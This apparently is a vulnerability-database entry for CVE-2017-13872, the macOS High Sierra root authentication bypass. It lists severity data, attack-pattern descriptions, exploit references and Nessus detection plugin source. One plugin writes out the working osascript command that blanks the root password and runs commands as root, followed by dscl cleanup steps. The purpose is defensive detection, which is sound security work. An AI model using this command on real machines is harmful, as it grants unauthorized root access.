Vulnerabilities > CVE-2017-13872 - Improper Authentication vulnerability in Apple mac OS X 10.13.0/10.13.1

047910
CVSS 9.3 - CRITICAL
Attack vector
NETWORK
Attack complexity
MEDIUM
Privileges required
NONE
Confidentiality impact
COMPLETE
Integrity impact
COMPLETE
Availability impact
COMPLETE
network
apple
CWE-287
critical
nessus
exploit available
metasploit

Summary

An issue was discovered in certain Apple products. macOS High Sierra before Security Update 2017-001 is affected. The issue involves the "Directory Utility" component. It allows attackers to obtain administrator access without a password via certain interactions involving entry of the root user name.

Vulnerable Configurations

Part Description Count
OS
Apple
2

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Authentication Abuse
    An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker. This attack may exploit assumptions made by the target's authentication procedures, such as assumptions regarding trust relationships or assumptions regarding the generation of secret values. This attack differs from Authentication Bypass attacks in that Authentication Abuse allows the attacker to be certified as a valid user through illegitimate means, while Authentication Bypass allows the user to access protected material without ever being certified as an authenticated user. This attack does not rely on prior sessions established by successfully authenticating users, as relied upon for the "Exploitation of Session Variables, Resource IDs and other Trusted Credentials" attack patterns.
  • Exploiting Trust in Client (aka Make the Client Invisible)
    An attack of this type exploits a programs' vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by placing themselves in the communication channel between client and server such that communication directly to the server is possible where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
  • Utilizing REST's Trust in the System Resource to Register Man in the Middle
    This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to place man in the middle once SSL is terminated. Rest applications premise is that they leverage existing infrastructure to deliver web services functionality. An example of this is a Rest application that uses HTTP Get methods and receives a HTTP response with an XML document. These Rest style web services are deployed on existing infrastructure such as Apache and IIS web servers with no SOAP stack required. Unfortunately from a security standpoint, there frequently is no interoperable identity security mechanism deployed, so Rest developers often fall back to SSL to deliver security. In large data centers, SSL is typically terminated at the edge of the network - at the firewall, load balancer, or router. Once the SSL is terminated the HTTP request is in the clear (unless developers have hashed or encrypted the values, but this is rare). The attacker can utilize a sniffer such as Wireshark to snapshot the credentials, such as username and password that are passed in the clear once SSL is terminated. Once the attacker gathers these credentials, they can submit requests to the web service provider just as authorized user do. There is not typically an authentication on the client side, beyond what is passed in the request itself so once this is compromised, then this is generally sufficient to compromise the service's authentication scheme.
  • Man in the Middle Attack
    This type of attack targets the communication between two components (typically client and server). The attacker places himself in the communication channel between the two components. Whenever one component attempts to communicate with the other (data flow, authentication challenges, etc.), the data first goes to the attacker, who has the opportunity to observe or alter it, and it is then passed on to the other component as if it was never intercepted. This interposition is transparent leaving the two compromised components unaware of the potential corruption or leakage of their communications. The potential for Man-in-the-Middle attacks yields an implicit lack of trust in communication or identify between two components.

Exploit-Db

  • descriptionApple macOS 10.13.1 (High Sierra) - 'Blank Root' Local Privilege Escalation. CVE-2017-13872. Local exploit for macOS platform
    fileexploits/macos/local/43248.md
    idEDB-ID:43248
    last seen2017-12-09
    modified2017-11-28
    platformmacos
    port
    published2017-11-28
    reporterExploit-DB
    sourcehttps://www.exploit-db.com/download/43248/
    titleApple macOS 10.13.1 (High Sierra) - 'Blank Root' Local Privilege Escalation
    typelocal
  • idEDB-ID:43201

Metasploit

Nessus

  • NASL familyMacOS X Local Security Checks
    NASL idMACOS_10_13_2.NASL
    descriptionThe remote host is running a version of Mac OS X that is 10.13.x prior to 10.13.2. It is, therefore, affected by multiple vulnerabilities in the following components : - apache - curl - Directory Utility - IOAcceleratorFamily - IOKit - Intel Graphics Driver - Kernel - Mail - Mail Drafts - OpenSSL - Screen Sharing Server Note that successful exploitation of the most serious issues can result in arbitrary code execution.
    last seen2020-06-01
    modified2020-06-02
    plugin id105080
    published2017-12-07
    reporterThis script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/105080
    titlemacOS 10.13.x < 10.13.2 Multiple Vulnerabilities (Meltdown)
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(105080);
      script_version("1.12");
      script_cvs_date("Date: 2019/06/19 15:17:43");
    
      script_cve_id(
        "CVE-2017-1000254",
        "CVE-2017-13847",
        "CVE-2017-13848",
        "CVE-2017-13855",
        "CVE-2017-13858",
        "CVE-2017-13860",
        "CVE-2017-13862",
        "CVE-2017-13865",
        "CVE-2017-13867",
        "CVE-2017-13868",
        "CVE-2017-13869",
        "CVE-2017-13871",
        "CVE-2017-13872",
        "CVE-2017-13875",
        "CVE-2017-13876",
        "CVE-2017-13878",
        "CVE-2017-13883",
        "CVE-2017-13886",
        "CVE-2017-13887",
        "CVE-2017-13892",
        "CVE-2017-13904",
        "CVE-2017-13905",
        "CVE-2017-13911",
        "CVE-2017-15422",
        "CVE-2017-3735",
        "CVE-2017-5754",
        "CVE-2017-7151",
        "CVE-2017-7154",
        "CVE-2017-7155",
        "CVE-2017-7158",
        "CVE-2017-7159",
        "CVE-2017-7162",
        "CVE-2017-7163",
        "CVE-2017-7171",
        "CVE-2017-7172",
        "CVE-2017-7173",
        "CVE-2017-9798"
      );
      script_bugtraq_id(
        100515,
        100872,
        101115,
        101981,
        102097,
        102098,
        102099,
        102100,
        102378,
        103134,
        103135
      );
      script_xref(name:"IAVA", value:"2018-A-0019");
    
      script_name(english:"macOS 10.13.x < 10.13.2 Multiple Vulnerabilities (Meltdown)");
      script_summary(english:"Checks the version of Mac OS X / macOS.");
    
      script_set_attribute(attribute:"synopsis", value:
    "The remote host is missing a macOS update that fixes multiple security
    vulnerabilities.");
      script_set_attribute(attribute:"description", value:
    "The remote host is running a version of Mac OS X that is 10.13.x
    prior to 10.13.2. It is, therefore, affected by multiple
    vulnerabilities in the following components :
    
      - apache
      - curl
      - Directory Utility
      - IOAcceleratorFamily
      - IOKit
      - Intel Graphics Driver
      - Kernel
      - Mail
      - Mail Drafts
      - OpenSSL
      - Screen Sharing Server
    
    Note that successful exploitation of the most serious issues can
    result in arbitrary code execution.");
      script_set_attribute(attribute:"see_also", value:"https://support.apple.com/en-us/HT208331");
      script_set_attribute(attribute:"see_also", value:"https://support.apple.com/en-us/HT208394");
      script_set_attribute(attribute:"solution", value:
    "Upgrade to macOS version 10.13.2 or later.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C");
      script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
      script_set_cvss3_base_vector("CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
      script_set_cvss3_temporal_vector("CVSS:3.0/E:H/RL:O/RC:C");
      script_set_attribute(attribute:"cvss_score_source", value:"CVE-2017-7172");
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"exploited_by_malware", value:"true");
      script_set_attribute(attribute:"metasploit_name", value:'Mac OS X Root Privilege Escalation');
      script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2017/12/06");
      script_set_attribute(attribute:"patch_publication_date", value:"2017/12/06");
      script_set_attribute(attribute:"plugin_publication_date", value:"2017/12/07");
    
      script_set_attribute(attribute:"plugin_type", value:"combined");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:apple:mac_os_x");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:apple:macos");
      script_set_attribute(attribute:"stig_severity", value:"I");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_family(english:"MacOS X Local Security Checks");
    
      script_copyright(english:"This script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_dependencies("ssh_get_info.nasl", "os_fingerprint.nasl");
      script_require_ports("Host/MacOSX/Version", "Host/OS");
    
      exit(0);
    }
    
    include("audit.inc");
    include("global_settings.inc");
    include("misc_func.inc");
    
    os = get_kb_item("Host/MacOSX/Version");
    if (!os)
    {
      os = get_kb_item_or_exit("Host/OS");
      if ("Mac OS X" >!< os) audit(AUDIT_OS_NOT, "macOS / Mac OS X");
    
      c = get_kb_item("Host/OS/Confidence");
      if (c <= 70) exit(1, "Can't determine the host's OS with sufficient confidence.");
    }
    if (!os) audit(AUDIT_OS_NOT, "macOS / Mac OS X");
    
    matches = pregmatch(pattern:"Mac OS X ([0-9]+(\.[0-9]+)+)", string:os);
    if (empty_or_null(matches)) exit(1, "Failed to parse the macOS / Mac OS X version ('" + os + "').");
    
    version = matches[1];
    fixed_version = "10.13.2";
    
    if (version !~"^10\.13($|[^0-9])")
      audit(AUDIT_OS_NOT, "macOS 10.13.x");
    
    if (ver_compare(ver:version, fix:'10.13.2', strict:FALSE) == -1)
    {
      security_report_v4(
        port:0,
        severity:SECURITY_HOLE,
        extra:
          '\n  Installed version : ' + version +
          '\n  Fixed version     : ' + fixed_version +
          '\n'
      );
    }
    else audit(AUDIT_INST_VER_NOT_VULN, "macOS / Mac OS X", version);
    
  • NASL familyMacOS X Local Security Checks
    NASL idMACOS_10_13_ROOT_AUTH_BYPASS_DIRECT_CHECK.NASL
    descriptionThe remote host is running a version of macOS that has a root authentication bypass vulnerability. A local attacker or a remote attacker with credentials for a standard user account has the ability to blank out the root account password. This can allow an attacker to escalate privileges to root and execute commands and read files as a system administrator.
    last seen2020-06-01
    modified2020-06-02
    plugin id104848
    published2017-11-29
    reporterThis script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/104848
    titlemacOS 10.13 root Authentication Bypass Direct Check
    code
    #TRUSTED 0d435aaf02cc3ea2d717873b31245a1c31f19b61123597be862e90ffb2ada3faed09a8b86d6eaeb3ac5130cd4daff1d4a2643970e27ac172188a97f3bc4c8bbeb4d90a4c48dd90f1c3326c75561b0320ad82dbee3507d8aa80b32aa5c08c5853856b75de7f5f708c44d43b4c773602e01b528172b1ef49dcbe08e08aab83f0e7a6a592833452cdc85203854232de75ba8e0a248303ddeea2eefb0db0efcc080240887dce009b16d7010ee4429f1be4140aaed37b21b5b17d61eab36adc35cfd1baf589df45b47e3db210405d36db2c8bcf3303e0961c132332aa62742a528ea712b15f09b517864df6ff4472fbaf7d27f9147faf2f6c10f7e586449d199e636c69320bf2facad41e4be9c638ce52cf28ad6df8dac66f9430d89f1475e27aac488f86fb887e963839ef5ed4a82446fb08cc0927594a939657c282f8bb2236baa110d3bf2c7e34ff246be3d06be992d8186329e6044a7e7f29db19c291b552e97e2d4b7d5b4692b3612845436eb5eb291e790f6d129a340f9d117cb382a5bf36c9f873e54c4ce6cf2072bb4cc948069922e3bd948defc660baaf44a73959ecaae973effeb02ebe1a62033a50771103246f368785adc5a61e96cded65e27bcc61c7992351f00f6dd3607932c2a3abcf13a4545dee80a5faf3f8067cd398be83b60a85a2de3a2de0465a4b64b5382c2e4e7e11198b019bd25b95de7218b74927f6e9
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(104848);
      script_version("1.9");
      script_cvs_date("Date: 2019/11/12");
    
      script_cve_id("CVE-2017-13872");
      script_bugtraq_id(101981);
    
      script_name(english:"macOS 10.13 root Authentication Bypass Direct Check");
      script_summary(english:"Checks if the root password can be blanked out.");
    
      script_set_attribute(attribute:"synopsis", value:
    "The remote host is running a version of macOS that is affected by a
    root authentication bypass vulnerability.");
      script_set_attribute(attribute:"description", value:
    "The remote host is running a version of macOS that has a root
    authentication bypass vulnerability. A local attacker or a remote
    attacker with credentials for a standard user account has the ability
    to blank out the root account password. This can allow an attacker to
    escalate privileges to root and execute commands and read files as a
    system administrator.");
      script_set_attribute(attribute:"see_also", value:"https://support.apple.com/en-us/HT208315");
      # https://objective-see.com/blog/blog_0x24.html
      script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?2cf4b55a");
      # https://twitter.com/lemiorhan/status/935578694541770752
      script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?9ff9ff45");
      # https://www.theregister.co.uk/2017/11/28/root_access_bypass_macos_high_sierra/
      script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?1e5890f3");
      # https://www.theverge.com/2017/11/28/16711782/apple-macos-high-sierra-critical-password-security-flaw
      script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?f367aab4");
      # https://support.apple.com/en-us/HT204012
      script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?f9f9bbc3");
      script_set_attribute(attribute:"solution", value:
    "Enable the root account and set a strong root account password.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C");
      script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
      script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H");
      script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
      script_set_attribute(attribute:"cvss_score_source", value:"CVE-2017-13872");
    
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"metasploit_name", value:'Mac OS X Root Privilege Escalation');
      script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
      script_set_attribute(attribute:"in_the_news", value:"true");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2017/11/28");
      script_set_attribute(attribute:"plugin_publication_date", value:"2017/11/29");
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:apple:mac_os_x");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:apple:macos");
      script_end_attributes();
    
      script_category(ACT_DESTRUCTIVE_ATTACK);
      script_family(english:"MacOS X Local Security Checks");
    
      script_copyright(english:"This script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_dependencies("ssh_get_info.nasl");
      script_require_keys("Host/local_checks_enabled", "Host/MacOSX/Version");
    
      exit(0);
    }
    
    include("audit.inc");
    include("global_settings.inc");
    include("misc_func.inc");
    include("ssh_func.inc");
    include("macosx_func.inc");
    
    if(sshlib::get_support_level() >= sshlib::SSH_LIB_SUPPORTS_COMMANDS)
      enable_ssh_wrappers();
    else disable_ssh_wrappers();
    
    if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
    
    os = get_kb_item("Host/MacOSX/Version");
    if (!os) audit(AUDIT_OS_NOT, "macOS");
    if (os !~ "Mac OS X 10\.13([^0-9]|$)") audit(AUDIT_OS_NOT, "macOS 10.13");
    
    # check we're not root first
    results = exec_cmd(cmd:"id");
    if ("uid=0(root)" >< results)
      audit(AUDIT_HOST_NOT, "affected");
    
    id_cmd = '/usr/bin/osascript -e \'do shell script "id" user name "root" password "" with administrator privileges\'';
    results = exec_cmd(cmd:id_cmd);
    # if we're vuln, the first time blanks the password, second time runs id
    results = exec_cmd(cmd:id_cmd);
    
    if ("uid=0(root)" >!< results)
    {
      # not vuln
      audit(AUDIT_HOST_NOT, "vulnerable either because a root password is set or the vulnerability has been patched");
    }
    
    # if we are vulnerable we need to do some cleanup to
    # set the system state back to pre-exploit
    # this disables the root account and resets
    # the password back to not blank
    cmd = '/usr/bin/osascript -e \'do shell script "dscl . -create /Users/root passwd \'\\*\'" user name "root" password "" with administrator privileges\'';
    exec_cmd(cmd:cmd);
    cmd = '/usr/bin/osascript -e \'do shell script "dscl . -delete /Users/root authentication_authority" user name "root" password "" with administrator privileges\'';
    exec_cmd(cmd:cmd);
    cmd = '/usr/bin/osascript -e \'do shell script "dscl . -delete /Users/root ShadowHashData" user name "root" password "" with administrator privileges\'';
    exec_cmd(cmd:cmd);
    
    report = '  Nessus was able to execute commands as root by\n' +
             '  first blanking the root account password and then\n' +
             '  running "id" by using this command twice:\n' +
             '\n' +
             '  ' + id_cmd + '\n' +
             '\n' +
             '  which produced the following output:\n' +
             '\n' +
             '  ' + results + '\n';
    
    security_report_v4(port:0, severity:SECURITY_HOLE, extra:report);
    
  • NASL familyMisc.
    NASL idMACOS_10_13_AUTH_BYPASS_REMOTE_CHECK.NASL
    descriptionThe remote host is affected by an authentication bypass vulnerability. A local attacker or a remote attacker with credentials for a standard user account has the ability to blank out the root account password. This can allow an authenticated attacker to escalate privileges to root and execute commands and read files as a system administrator. A remote attacker without credentials can set passwords on certain disabled accounts. Note that if this plugin is successful, Nessus has set the password on the
    last seen2020-06-01
    modified2020-06-02
    plugin id105003
    published2017-12-04
    reporterThis script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/105003
    titlemacOS 10.13 Authentication Bypass Remote Check (CVE-2017-13872)
  • NASL familyMacOS X Local Security Checks
    NASL idMACOSX_SECUPD2017-005.NASL
    descriptionThe remote host is running Mac OS X 10.11.6 or Mac OS X 10.12.6 and is missing a security update. It is therefore, affected by multiple vulnerabilities affecting the following components : - apache - curl - IOAcceleratorFamily - IOKit - Kernel - OpenSSL - Screen Sharing Server
    last seen2020-06-01
    modified2020-06-02
    plugin id105081
    published2017-12-07
    reporterThis script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/105081
    titlemacOS and Mac OS X Multiple Vulnerabilities (Security Update 2017-002 and 2017-005)
  • NASL familyMacOS X Local Security Checks
    NASL idMACOSX_HIGH_SIERRA_EMPTY_ROOT_PASSWORD.NASL
    descriptionThe remote host is running a version of MacOS 10.13 or 10.13.1 that is missing a security update. It is, therefore, affected by a root authentication bypass vulnerability. A local attacker or a remote attacker with credentials for a standard user account has the ability to blank out the root account password. This can allow an attacker to escalate privileges to root and execute commands and read files as a system administrator.
    last seen2020-06-01
    modified2020-06-02
    plugin id104814
    published2017-11-28
    reporterThis script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/104814
    titleMacOS 10.13 root Authentication Bypass (Security Update 2017-001)

Seebug

bulletinFamilyexploit
idSSV:96911
last seen2018-06-26
modified2017-12-01
published2017-12-01
reporterKnownsec
sourcehttps://www.seebug.org/vuldb/ssvid-96911
titlemacOS High Sierra - Root Privilege Escalation (CVE-2017-13872)